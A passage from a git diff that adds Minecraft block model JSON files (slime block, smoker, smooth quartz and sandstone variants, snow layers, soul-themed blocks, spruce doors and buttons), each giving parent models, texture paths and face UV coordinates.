16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/slightly_cracked_turtle_egg.json b/src/assets/minecraft/models/block/slightly_cracked_turtle_egg.json new file mode 100644 index 00000000..fe9f6dc2 --- /dev/null +++ b/src/assets/minecraft/models/block/slightly_cracked_turtle_egg.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_turtle_egg", + "textures": { + "all": "minecraft:block/turtle_egg_slightly_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/slime_block.json b/src/assets/minecraft/models/block/slime_block.json new file mode 100644 index 00000000..95f92bdf --- /dev/null +++ b/src/assets/minecraft/models/block/slime_block.json @@ -0,0 +1,30 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/slime_block", + "texture": "block/slime_block" + }, + "elements": [ + { "from": [ 3, 3, 3 ], + "to": [ 13, 13, 13 ], + "faces": { + "down": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" }, + "up": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" }, + "north": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" }, + "south": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" }, + "west": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" }, + "east": { "uv": [ 3, 3, 13, 13 ], "texture": "#texture" } + } + }, + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/smithing_table.json b/src/assets/minecraft/models/block/smithing_table.json new file mode 100644 index 00000000..ca077e17 --- /dev/null +++ b/src/assets/minecraft/models/block/smithing_table.json @@ -0,0 +1,12 @@ +{ + "parent": "minecraft:block/cube", + "textures": { + "particle": "minecraft:block/smithing_table_front", + "north": "minecraft:block/smithing_table_front", + "south": "minecraft:block/smithing_table_front", + "east": "minecraft:block/smithing_table_side", + "west": "minecraft:block/smithing_table_side", + "up": "minecraft:block/smithing_table_top", + "down": "minecraft:block/smithing_table_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smoker.json b/src/assets/minecraft/models/block/smoker.json new file mode 100644 index 00000000..b54411e0 --- /dev/null +++ b/src/assets/minecraft/models/block/smoker.json @@ -0,0 +1,9 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/smoker_top", + "bottom": "minecraft:block/smoker_bottom", + "side": "minecraft:block/smoker_side", + "front": "minecraft:block/smoker_front" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smoker_on.json b/src/assets/minecraft/models/block/smoker_on.json new file mode 100644 index 00000000..1199963f --- /dev/null +++ b/src/assets/minecraft/models/block/smoker_on.json @@ -0,0 +1,9 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/smoker_top", + "bottom": "minecraft:block/smoker_bottom", + "side": "minecraft:block/smoker_side", + "front": "minecraft:block/smoker_front_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz.json b/src/assets/minecraft/models/block/smooth_quartz.json new file mode 100644 index 00000000..7af04ba1 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz_slab.json b/src/assets/minecraft/models/block/smooth_quartz_slab.json new file mode 100644 index 00000000..016d6df9 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/quartz_block_bottom", + "top": "minecraft:block/quartz_block_bottom", + "side": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz_slab_top.json b/src/assets/minecraft/models/block/smooth_quartz_slab_top.json new file mode 100644 index 00000000..5e860477 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/quartz_block_bottom", + "top": "minecraft:block/quartz_block_bottom", + "side": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz_stairs.json b/src/assets/minecraft/models/block/smooth_quartz_stairs.json new file mode 100644 index 00000000..c7fa297a --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_bottom", + "top": "minecraft:block/quartz_block_bottom", + "side": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz_stairs_inner.json b/src/assets/minecraft/models/block/smooth_quartz_stairs_inner.json new file mode 100644 index 00000000..1dc7ba24 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_bottom", + "top": "minecraft:block/quartz_block_bottom", + "side": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_quartz_stairs_outer.json b/src/assets/minecraft/models/block/smooth_quartz_stairs_outer.json new file mode 100644 index 00000000..e2754305 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_quartz_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_bottom", + "top": "minecraft:block/quartz_block_bottom", + "side": "minecraft:block/quartz_block_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone.json b/src/assets/minecraft/models/block/smooth_red_sandstone.json new file mode 100644 index 00000000..db56d1c0 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone_slab.json b/src/assets/minecraft/models/block/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..ba338bb0 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone_slab_top.json b/src/assets/minecraft/models/block/smooth_red_sandstone_slab_top.json new file mode 100644 index 00000000..7f277792 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone_stairs.json b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..f19a80d5 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_inner.json b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_inner.json new file mode 100644 index 00000000..c7618716 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_outer.json b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_outer.json new file mode 100644 index 00000000..17d407b8 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_red_sandstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_top", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone.json b/src/assets/minecraft/models/block/smooth_sandstone.json new file mode 100644 index 00000000..2f886a74 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone_slab.json b/src/assets/minecraft/models/block/smooth_sandstone_slab.json new file mode 100644 index 00000000..f45d720b --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone_slab_top.json b/src/assets/minecraft/models/block/smooth_sandstone_slab_top.json new file mode 100644 index 00000000..f3ac8710 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone_stairs.json b/src/assets/minecraft/models/block/smooth_sandstone_stairs.json new file mode 100644 index 00000000..81a7403d --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone_stairs_inner.json b/src/assets/minecraft/models/block/smooth_sandstone_stairs_inner.json new file mode 100644 index 00000000..4dc42150 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_sandstone_stairs_outer.json b/src/assets/minecraft/models/block/smooth_sandstone_stairs_outer.json new file mode 100644 index 00000000..9dfc6e4f --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_sandstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/sandstone_top", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_stone.json b/src/assets/minecraft/models/block/smooth_stone.json new file mode 100644 index 00000000..54595f0c --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_stone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/smooth_stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_stone_slab.json b/src/assets/minecraft/models/block/smooth_stone_slab.json new file mode 100644 index 00000000..09230ac8 --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_stone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/smooth_stone", + "top": "minecraft:block/smooth_stone", + "side": "minecraft:block/smooth_stone_slab_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_stone_slab_double.json b/src/assets/minecraft/models/block/smooth_stone_slab_double.json new file mode 100644 index 00000000..f937d93d --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_stone_slab_double.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/smooth_stone", + "side": "minecraft:block/smooth_stone_slab_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/smooth_stone_slab_top.json b/src/assets/minecraft/models/block/smooth_stone_slab_top.json new file mode 100644 index 00000000..3041639b --- /dev/null +++ b/src/assets/minecraft/models/block/smooth_stone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/smooth_stone", + "top": "minecraft:block/smooth_stone", + "side": "minecraft:block/smooth_stone_slab_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/snow_block.json b/src/assets/minecraft/models/block/snow_block.json new file mode 100644 index 00000000..c6c8096c --- /dev/null +++ b/src/assets/minecraft/models/block/snow_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/snow" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/snow_height10.json b/src/assets/minecraft/models/block/snow_height10.json new file mode 100644 index 00000000..dd72cc9e --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height10.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 10, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 6, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 6, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 6, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 6, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height12.json b/src/assets/minecraft/models/block/snow_height12.json new file mode 100644 index 00000000..bdce96c0 --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height12.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 12, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 4, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 4, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 4, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 4, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height14.json b/src/assets/minecraft/models/block/snow_height14.json new file mode 100644 index 00000000..30e1d888 --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height14.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 14, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 2, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 2, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 2, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 2, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height2.json b/src/assets/minecraft/models/block/snow_height2.json new file mode 100644 index 00000000..de13fc62 --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height2.json @@ -0,0 +1,19 @@ +{ "parent": "block/thin_block", + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height4.json b/src/assets/minecraft/models/block/snow_height4.json new file mode 100644 index 00000000..650692c5 --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height4.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 4, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 12, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 12, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 12, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 12, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height6.json b/src/assets/minecraft/models/block/snow_height6.json new file mode 100644 index 00000000..32468b9b --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height6.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 6, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 10, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 10, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 10, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 10, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/snow_height8.json b/src/assets/minecraft/models/block/snow_height8.json new file mode 100644 index 00000000..53d22828 --- /dev/null +++ b/src/assets/minecraft/models/block/snow_height8.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/snow", + "texture": "block/snow" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 8, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#texture", "cullface": "north" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#texture", "cullface": "south" }, + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#texture", "cullface": "west" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#texture", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/soul_campfire.json b/src/assets/minecraft/models/block/soul_campfire.json new file mode 100644 index 00000000..d3097b59 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_campfire.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_campfire", + "textures": { + "fire": "minecraft:block/soul_campfire_fire", + "lit_log": "minecraft:block/soul_campfire_log_lit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_floor0.json b/src/assets/minecraft/models/block/soul_fire_floor0.json new file mode 100644 index 00000000..5623972e --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_floor0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_floor", + "textures": { + "fire": "minecraft:block/soul_fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_floor1.json b/src/assets/minecraft/models/block/soul_fire_floor1.json new file mode 100644 index 00000000..19228ef1 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_floor1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_floor", + "textures": { + "fire": "minecraft:block/soul_fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_side0.json b/src/assets/minecraft/models/block/soul_fire_side0.json new file mode 100644 index 00000000..253bac58 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_side0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side", + "textures": { + "fire": "minecraft:block/soul_fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_side1.json b/src/assets/minecraft/models/block/soul_fire_side1.json new file mode 100644 index 00000000..be0004a3 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_side1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side", + "textures": { + "fire": "minecraft:block/soul_fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_side_alt0.json b/src/assets/minecraft/models/block/soul_fire_side_alt0.json new file mode 100644 index 00000000..adb4cff6 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_side_alt0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side_alt", + "textures": { + "fire": "minecraft:block/soul_fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_fire_side_alt1.json b/src/assets/minecraft/models/block/soul_fire_side_alt1.json new file mode 100644 index 00000000..3e6e709a --- /dev/null +++ b/src/assets/minecraft/models/block/soul_fire_side_alt1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_side_alt", + "textures": { + "fire": "minecraft:block/soul_fire_1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_lantern.json b/src/assets/minecraft/models/block/soul_lantern.json new file mode 100644 index 00000000..6a0a0e99 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_lantern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_lantern", + "textures": { + "lantern": "minecraft:block/soul_lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_lantern_hanging.json b/src/assets/minecraft/models/block/soul_lantern_hanging.json new file mode 100644 index 00000000..8aa725b2 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_lantern_hanging.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_hanging_lantern", + "textures": { + "lantern": "minecraft:block/soul_lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_sand.json b/src/assets/minecraft/models/block/soul_sand.json new file mode 100644 index 00000000..ca623542 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_sand.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/soul_sand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_soil.json b/src/assets/minecraft/models/block/soul_soil.json new file mode 100644 index 00000000..73a888f6 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_soil.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/soul_soil" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_torch.json b/src/assets/minecraft/models/block/soul_torch.json new file mode 100644 index 00000000..275d76e2 --- /dev/null +++ b/src/assets/minecraft/models/block/soul_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch", + "textures": { + "torch": "minecraft:block/soul_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/soul_wall_torch.json b/src/assets/minecraft/models/block/soul_wall_torch.json new file mode 100644 index 00000000..22b9e9ed --- /dev/null +++ b/src/assets/minecraft/models/block/soul_wall_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch_wall", + "textures": { + "torch": "minecraft:block/soul_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spawner.json b/src/assets/minecraft/models/block/spawner.json new file mode 100644 index 00000000..ab373b99 --- /dev/null +++ b/src/assets/minecraft/models/block/spawner.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/spawner" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sponge.json b/src/assets/minecraft/models/block/sponge.json new file mode 100644 index 00000000..93acf885 --- /dev/null +++ b/src/assets/minecraft/models/block/sponge.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/sponge" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_button.json b/src/assets/minecraft/models/block/spruce_button.json new file mode 100644 index 00000000..7c86fded --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_button_inventory.json b/src/assets/minecraft/models/block/spruce_button_inventory.json new file mode 100644 index 00000000..372657bb --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_button_pressed.json b/src/assets/minecraft/models/block/spruce_button_pressed.json new file mode 100644 index 00000000..da881755 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_door_bottom.json b/src/assets/minecraft/models/block/spruce_door_bottom.json new file mode 100644 index 00000000..1a27b7f2 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/spruce_door_top", + "bottom": "minecraft:block/spruce_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_door_bottom_hinge.json b/src/assets/minecraft/models/block/spruce_door_bottom_hinge.json new file mode 100644 index 00000000..109429cb --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/spruce_door_top", + "bottom": "minecraft:block/spruce_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_door_top.json b/src/assets/minecraft/models/block/spruce_door_top.json new file mode 100644 index 00000000..494940e7 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/spruce_door_top", + "bottom": "minecraft:block/spruce_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_door_top_hinge.json b/src/assets/minecraft/models/block/spruce_door_top_hinge.json new file mode 100644 index 00000000..d68a2cc3 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/spruce_door_top", + "bottom": "minecraft:block/spruce_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_gate.json b/src/assets/minecraft/models/block/spruce_fence_gate.json new file mode 100644 index 00000000..ed324b64 --- /dev/null +++ 